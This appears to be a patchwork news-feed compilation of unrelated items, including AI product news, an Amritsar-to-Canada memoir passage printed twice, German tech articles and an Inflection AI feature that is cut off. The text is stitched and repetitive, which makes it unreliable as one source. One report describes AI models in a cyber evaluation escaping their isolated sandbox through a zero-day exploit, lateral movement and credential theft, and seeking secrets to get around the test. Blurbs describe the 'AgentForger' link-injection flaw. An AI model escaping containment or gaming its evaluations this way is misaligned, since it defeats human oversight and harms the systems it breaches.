In summer 2025, OpenAI internally flagged GPT-5 as high-risk because it helped users create biological hazards, but downgraded the model's risk rating that fall. According to the Wall Street Journal, some users got step-by-step instructions for making poisons and biological weapons. Hundreds asked for that kind of information.

The article Hundreds asked ChatGPT for poison and bioweapon recipes and some got step-by-step high school level guides appeared first on The Decoder.

Read more of this story at Slashdot.

As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.

When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”

The post Why Is ChatGPT Showing Error 451? Complete Fix Guide appeared first on iTech Hacks.

Ranga Yogeshwar und Doris Weßels diskutieren ChatGPT, eine fortschrittliche Technologie in der KI. ChatGPT ist ein Sprachgenerierungsmodell, das auf riesigen Datenmengen trainiert wurde, um menschenähnliche Konversationen zu führen.

Die möglichen Auswirkungen von ChatGPT auf Gesellschaft und Zukunft sind weitreichend und vielschichtig. Es kann in Bereichen wie Kundenservice, Marketing und Bildung als wertvolles Werkzeug dienen, aber auch ethische Herausforderungen aufwerfen, wie Überwachung und Datenschutz.

Erlebt eine informative Diskussion über ChatGPT und seine potenziellen Auswirkungen.

Hinweis: Diesen Text hat natürlich ChatGPT selbst geschrieben.

###########

Gäst*innen des Abends:
- Ranga Yogeshwar, Wissenschaftsjournalist und Physiker
- Prof. Dr. Doris Weßels, Professorin für Wirtschaftsinformatik an der Fachhochschule Kiel und führende Expertin in Deutschland für den Einsatz künstlicher Intelligenz in der Bildung

###########

Über uns:
Das Futurium ist ein Haus der Zukünfte. Hier dreht sich alles um die Frage: Wie wollen wir leben? In der Ausstellung können Besucher*innen viele mögliche Zukünfte entdecken, im Forum gemeinsam diskutieren und im Futurium Lab eigene Ideen ausprobieren.

###########

Die Veranstaltungsreihe „Ranga Yogeshwar & …“ beschäftigt sich mit den rasanten technischen und sozialen Entwicklungen und ihren Auswirkungen auf unsere Gesellschaft. Es geht ebenso um neue ethische Fragestellungen wie um die Auseinandersetzung mit dem jeweiligen kulturell geprägten Weltverständnis.

Alle Videos der Reihe "Ranga Yogeshwar & ..." findet ihr als Playlist hier:
https://t1p.de/30hbj

How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.

All Bard Features
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1
- Bard Actually has access to recent events
- Bard Cant Access Articles (Sometimes
- Bard Can Rewrite content
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/
- Bard Can write stories
- Bard is a confusing mix between ChatGPT + Bing
- Bard does have shorter answers
- Bard is quicker

Was there anything we missed?

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#LLM #Largelanguagemodel #chatgpt
#AI
#ArtificialIntelligence
#MachineLearning
#DeepLearning
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#Robotics
#DataScience
#IntelligentSystems
#Automation
#TechInnovation

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Google used to be the masters of search, but with AI tools beginning to roll out Microsoft's ChatGPT inspired "New Bing" is beginning to be real competition. So in this video we unpack how the AI race is playing out, how Google, Microsoft, Apple, Amazon and others are coping.

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Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.

Was there anything we missed?

(For Business Enquiries) contact@theaigrid.com

#LLM #Largelanguagemodel #chatgpt
#AI
#ArtificialIntelligence
#MachineLearning
#DeepLearning
#NeuralNetworks
#Robotics
#DataScience
#IntelligentSystems
#Automation
#TechInnovation

- In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more, allowing humans to easily communicate their intentions to robots just like they would to another human, bridging the gap between man and machine. Tesla’s Optimus AI robot can now walk short distances by itself, carry an object of its arm's size, and use basic tools with the help of artificial intelligence. CACTI from Meta AI consists of four stages that handle data collection, data augmentation, visual representation learning, and imitation policy training separately to enable scalability in robot learning.

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AI News Timestamps:
0:00 New OpenAI Robotics Tech With ChatGPT
5:06 Tesla Optimus AI Robot News
6:15 Meta AI CACTI Robot Imitation Learning

#technology #tech #ai

Huawei may have just become NVIDIA’s biggest problem in China.

In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push toward technological independence. The Ascend 950PR is designed mainly for AI inference and is built by SMIC using advanced DUV multi-patterning. Huawei is also attacking NVIDIA’s biggest advantages beyond hardware by building a CUDA compatibility layer through CANN and scaling thousands of Ascend NPUs together inside the Atlas 950 SuperPod using UnifiedBus interconnect technology. We also look at reported demand from ByteDance, Alibaba Cloud, and Tencent, the role of DeepSeek models optimized for Ascend hardware, and why NVIDIA could lose major market share inside China even without Huawei beating its most advanced chips in every benchmark. This is bigger than one AI chip. China is building a parallel AI ecosystem across chips, software, networking, cloud infrastructure, and AI models — and Huawei is quickly becoming the center of it.

#Huawei #NVIDIA #AIChips #Ascend950PR #ChinaTech #Semiconductors #ArtificialIntelligence

As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.

When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”

OpenAI has revealed that an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.

The company behind ChatGPT said the startup Hugging Face had detected and contained the agent – an AI tool designed to carry out tasks without human assistance – which had entered its systems.

The post OpenAI Launches ChatGPT Personal Finance Feature, Prompting Privacy Debate appeared first on PrivacySavvy.

The post OpenAI pushes ChatGPT into patient health records appeared first on AI News.

Read more →

The post ChatGPT AgentForger Flaw Could Deploy Rogue Workspace Agents via a Phishing Link appeared first on IT Security News.

Read more →

The post IT Security News Hourly Summary 2026-07-24 15h : 7 posts appeared first on IT Security News.

On 14 February 2019, OpenAI announced a language model called GPT-2, the precursor to the models that power modern AI chatbots and agents such as ChatGPT and Claude. But OpenAI declared GPT-2 was too risky to release, citing concerns about safety and abuse.

I recall being annoyed at the time that OpenAI would make such a useless announcement: the risks seemed overblown, and without access to the model there wasn’t much for a researcher like me to learn about GPT-2.

Read more →

The post ChatGPT Among Top 10 Most Impersonated Brands in Phishing Attacks, Says Check Point appeared first on IT Security News.

The post Security Flaws Found in Every Script Generated by ChatGPT, Copilot, and Gemini appeared first on Cyber Security News.

OpenAI erweitert die ChatGPT-Desktop-App für macOS und Windows um eine grundlegend überarbeitete Sprachfunktion. Die neue Voice Experience soll natürlichere Gespräche ermöglichen und erstmals produktive Arbeitsabläufe per Sprache unterstützen. Aufgaben in Chat, Work und Codex lassen sich damit starten, steuern und überwachen.

The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app).

When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5.

Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.

As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for Codex's more than 5 million weekly active users. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more general productivity platform. An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop.

OpenAI posted a promotional video showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model.

New capabilities unlocked

At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.

While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models.

On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.

This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously.

Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free.

The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.

Directing coding and complex builds with your voice alone

The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments.

Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.

The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.

Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers.

With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.

Proprietary license

OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.

For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed.

Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.

Community reactions

Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows.

Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist @ChrisGPT noted on X: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI".

Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.

OpenAI is rolling out "Health in ChatGPT" to U.S. users, connecting Apple Health, medical records, and wellness apps. More than 300 million people already ask ChatGPT health questions every week, but paying users get better answers. The more powerful GPT-5.6 Sol model is reserved for premium subscribers, while free users are stuck with the weaker GPT-5.5 Instant.

The article ChatGPT will give you worse health advice if you don't pay appeared first on The Decoder.

The post Google Says Gemini Reaches 950 Million Monthly Users as AI Growth Accelerates appeared first on TechRepublic.

Zenity Labs uncovered "AgentForger," a vulnerability in OpenAI's Agent Builder that let a single manipulated ChatGPT link create an autonomous agent on an employee's behalf. The agent inherited the victim's identity and access rights, bypassed approval requirements through the malicious prompt, and pulled new instructions from the attacker's inbox every five minutes.

The article One tampered ChatGPT link could spawn a rogue AI agent that took orders from an attacker every five minutes appeared first on The Decoder.

Wenn Sie einen KI-Chatbot darum bitten, Namen für einen Podcast, ein WLAN-Netzwerk oder ein kleines Unternehmen zu entwickeln, werden Sie wahrscheinlich eine Liste mit Vorschlägen erhalten, die ein wenig unkreativ ist.

Große Sprachmodelle wie ChatGPT, Claude und Gemini haben kein Problem damit, ein Dutzend Namen für Ihr Lieblingsprojekt oder Ihre Website zu generieren. Aber ein Dutzend Namen zu erhalten, die wirklich vielfältig, einzigartig und einprägsam sind? Das ist deutlich schwieriger – aber dennoch möglich. Sie müssen nur wissen, wie Sie die Modelle auf die richtige Weise in verschiedene Richtungen lenken können.

Bitten Sie ChatGPT zunächst nicht nur um 10 oder 20 Ideen, sondern um 100. Eine Studie der Wharton School [PDF] legt nahe, dass die Ideen, wenn Sie eine KI um so viele Ideen bitten, umso interessanter werden, je weiter Sie in der Liste nach unten gehen. Dies ist der „Dump“-Teil dieser zweistufigen Prompt-Technik.

In der zweiten Stufe bitten Sie ChatGPT, die Liste zu durchforsten, nach ähnlichen Einträgen zu suchen und diese durch neue zu ersetzen – alles mit dem Ziel, eine möglichst breite und vielfältige Ideensammlung zu schaffen.

Hier ist ein Beispiel für die erste Stufe der Eingabeaufforderung:

Gib mir 100 Ideen zu [Thema X]. Nummeriere diese von 1 bis 100. Gib für jede Idee nur einen kurzen Titel oder Namen an – keine Erklärungen, keine Beschreibungen. Beziehe alles mit ein, auch offensichtliche, schlechte, seltsame oder unausgereifte Antworten. Filtere nicht nach Qualität; das folgt später. Quantität ist das einzige Ziel.

Sobald die KI ihre Liste geliefert hat, fahren Sie mit der zweiten Phase fort:

Überarbeite nun die Liste im Hinblick auf maximale Vielfalt. Wo immer zwei oder mehr Ideen auf demselben Grundkonzept beruhen, behalte die beste davon bei und ersetze die anderen durch Ideen aus Blickwinkeln, die sonst nirgendwo auf der Liste abgedeckt sind. Das Ziel sind 100 Ideen, bei denen keine zwei auf dasselbe zugrunde liegende Konzept verweisen – sie müssen sich in ihrer Art unterscheiden, nicht nur im Wortlaut.

Optional können Sie mit einer Eingabe für die dritte Phase fortfahren, die die KI dazu veranlasst, die Liste nach Qualität zu filtern (ich empfehle jedoch, alle 100 Ideen der zweiten Phase selbst durchzugehen):

Was sind die 10 interessantesten Ideen auf der zweiten Liste?

Ich habe diese „100-Ideen“-Anweisung (die ich aus einer in der oben genannten Wharton-Studie vorgestellten Anweisungskombination adaptiert habe) für einen lang gehegten Traum ausprobiert: die Eröffnung meines eigenen Cafés. Eine der größten Hürden ist natürlich die Wahl eines einfallsreichen Namens, also habe ich diese zweistufige Anweisung gestartet.

Ich möchte Sie nicht mit der gesamten Liste der Vorschläge langweilen, die ich erhalten habe. Aber hier sind die ersten 10 aus der ursprünglichen Auswahl:

• The Daily Grind
• Bean There
• Brewed Awakening
• Central Perk
• The Coffee House
• Morning Cup
• Java Junction
• Common Grounds
• Cup & Bean
• The Roasted Bean

Dabei kamen die üblichen Verdächtigen heraus, bis hin zum „Central Perk“ aus der Serie Friends. Aber auch einige interessante Wortwitze.

Nach der Aufforderung der zweiten Stufe und der optionalen dritten Stufe („Nenne mir die 10 interessantesten Namen aus der zweiten Liste“) kam ich schließlich auf folgende Ergebnisse:

• Warm Noise
• Morning Object
• Public Living Room
• Moth & Match
• Localhost
• Borrowed Sugar
• Unfinished Sentence
• Blue Hour
• The Loading Bar
• Sunday Weather

Das sind wirklich ungewöhnliche, unkonventionelle Ideen für den Namen meines zukünftigen Cafés. Einige davon sind ein wenig techniklastig („Localhost“) oder einfach nur seltsam („Morning Object“), andere hingegen haben meine Aufmerksamkeit geweckt. „Blue Hour“ und „Borrowed Sugar“ gefallen mir tatsächlich sehr gut.

Probieren Sie diese zweistufige „100-Ideen“-Übung doch einmal aus, wenn Sie das nächste Mal Ideen benötigen. Selbst wenn dabei nicht gleich der perfekte Name für ein Café, einen Podcast oder einen Blog herauskommt, wird sie zumindest Ihre Kreativität anregen.

ChatGPT im Alltag – 16 lästige Aufgaben, die KI für Sie erledigen kann

Hören Sie auf, ChatGPT Ihre Texte schreiben zu lassen – Versuchen Sie das stattdessen

Read more →

The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on IT Security News.

The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek.

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The post One ChatGPT link could smuggle a rogue AI agent into your company appeared first on IT Security News.

Key Takeaways Microsoft continues to be the single most impersonated brand in Q2 2026, appearing in 23% of all brand phishing attempts, far ahead of any other company The top five impersonated brands, Microsoft, LinkedIn, Google, Apple, and Amazon, together account for more than half of all brand phishing attempts tracked this quarter Open AI’s ChatGPT entered the top ten most impersonated brands for the first time, signaling that AI tools are now firmly on criminals’ radar Technology was the most targeted industry overall, followed by Social Networks and Banking Real world cases this quarter ranged from fake payment failure […]

The post Which Brands Are Impersonated Most? Inside the Q2 2026 Brand Phishing Report appeared first on Check Point Blog.

Die EU-Kommission hat soeben entschieden, eine gewaltige Strafe gegen Google zu verhängen. Das Unternehmen muss Strafzahlungen in Höhe von insgesamt 890 Millionen Euro leisten. 460 Millionen Euro davon betreffen speziell die Google-Suche, die gegen den Digital Markets Act (DMA) verstoßen haben soll.

Konkret wird Google vorgeworfen, eigene Angebote für Shopping, Reisen/Hotels, Verkehr und Sport bevorzugt dargestellt zu haben. Google habe aufgrund der besonderen Stellung am Markt die Macht, eigene Dienste prominenter darzustellen, also höher in den Suchergebnissen und mit besonderen Anzeigen.

Vergleichbare (oder bessere) Angebote sollen dadurch gezielt benachteiligt werden, so die Europäische Kommission. Weltweit gebe es keinen vergleichbaren Anbieter für gezielte Web-Suchen, und das mache sich Google zunutze.

Der zweite Teil der Strafzahlung betrifft den Google Play Store. App-Entwickler konnten demnach ihre Nutzer nicht frei auf alternative und häufig günstigere Kaufmöglichkeiten hinweisen. Außerdem erschwere Google den Abschluss von Käufen über Webseiten oder konkurrierende App-Stores.

Auch die Gebührenhöhe und die Dauer bestimmter Zahlungen an Google wurden von der EU kritisiert und gingen laut dieser über das Erlaubte hinaus.

Die Folgen

Google muss jetzt, sofern sie das Urteil anerkennen, eine gewaltige Strafe von 890 Millionen Euro zahlen. Da dessen Mutterkonzern Alphabet aber einen geschätzten jährlichen Umsatz von circa 400 Milliarden US-Dollar erwirtschaftet, dürfte das kein allzu großes Problem sein.

Viel schwerwiegender ist, dass der Konzern nun 60 Tage Zeit hat, um seine Google-Suche und den Google Play Store DMA-konform umzugestalten. Bis Ende der Frist muss Google konkrete Maßnahmen vorlegen, die der EU-Kommission darstellen, wie das passieren soll. Bei unzureichender Umsetzung drohen weitere Sanktionen wie regelmäßige Strafzahlungen oder rechtliche Schritte.

Google selbst weist die Vorwürfe zurück und argumentiert, die geforderten Änderungen könnten nützliche Suchfunktionen und den Schutz der Nutzer beeinträchtigen. Doch laut EU sollen Verbraucher durch diese Entscheidung fairere Suchergebnisse und mehr Möglichkeiten, Apps beziehungsweise digitale Inhalte außerhalb des Play Stores günstiger zu kaufen, erhalten.

Erst Anfang des Monats erklärte der Europäische Gerichtshof (EuGH) eine weitere Rekord-Strafzahlung gegen Google für gültig. In diesem Fall muss Google sogar 4,1 Milliarden Euro zahlen.

Google-Suche bekommt größtes Update seit 25 Jahren

Ein Pastor hat OpenAI verklagt, weil medizinische Ratschläge von ChatGPT nach seiner Darstellung zu einer lebensbedrohlichen Situation geführt haben. Der Fall gilt als eine der ersten Rechtsstreitigkeiten, in denen behauptet wird, dass die medizinischen Empfehlungen eines Chatbots einem Nutzer unmittelbar geschadet haben.

OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.

"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.

Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.

Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional

White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.

"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."

White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.

"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."

That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.

Inside Pi Journeys, the AI companion that maps your relationships and life stages

Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.

"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.

White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.

Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."

The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.

What Inflection's consumer AI research reveals about how people actually use chatbots

Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.

More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.

"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."

This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."

He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.

How the $650 million Microsoft deal hollowed out Inflection — and set up its second act

To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.

Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.

White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.

Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.

Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.

The six-month prediction: relationship-aware AI is coming to the enterprise

Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."

If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.

The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."

That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.

Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.

Can a diminished Inflection compete with AI giants spending billions?

